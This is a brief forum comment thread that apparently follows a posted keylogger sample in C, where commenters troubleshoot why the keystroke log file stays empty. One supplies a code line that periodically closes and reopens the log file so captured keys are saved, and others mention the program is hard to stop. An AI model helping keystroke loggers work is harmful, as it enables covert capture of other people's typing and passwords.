"Nothings being written to the file" Same here, I remade the log's Path, but it do not actually working, the log file stays empty. Can someone explain it's reason to me? Nice code, without any bug btw:)

It is simply becouse the file never gets closed, therefore saved. I fixed this by adding this lines which save it for every 100 keys pressed, the original version of this code fixed that by adding an escape sequence when [esc] is pressed which also ended the code

if (a++ > 100) { a=0; fclose(file); file = fopen("LOG2.txt", "a+"); }

But even with this addition this code sample is still useless as it only saves letters directly inputted to the console.

unable to stop this program once executed ......

you can stop it in task manager
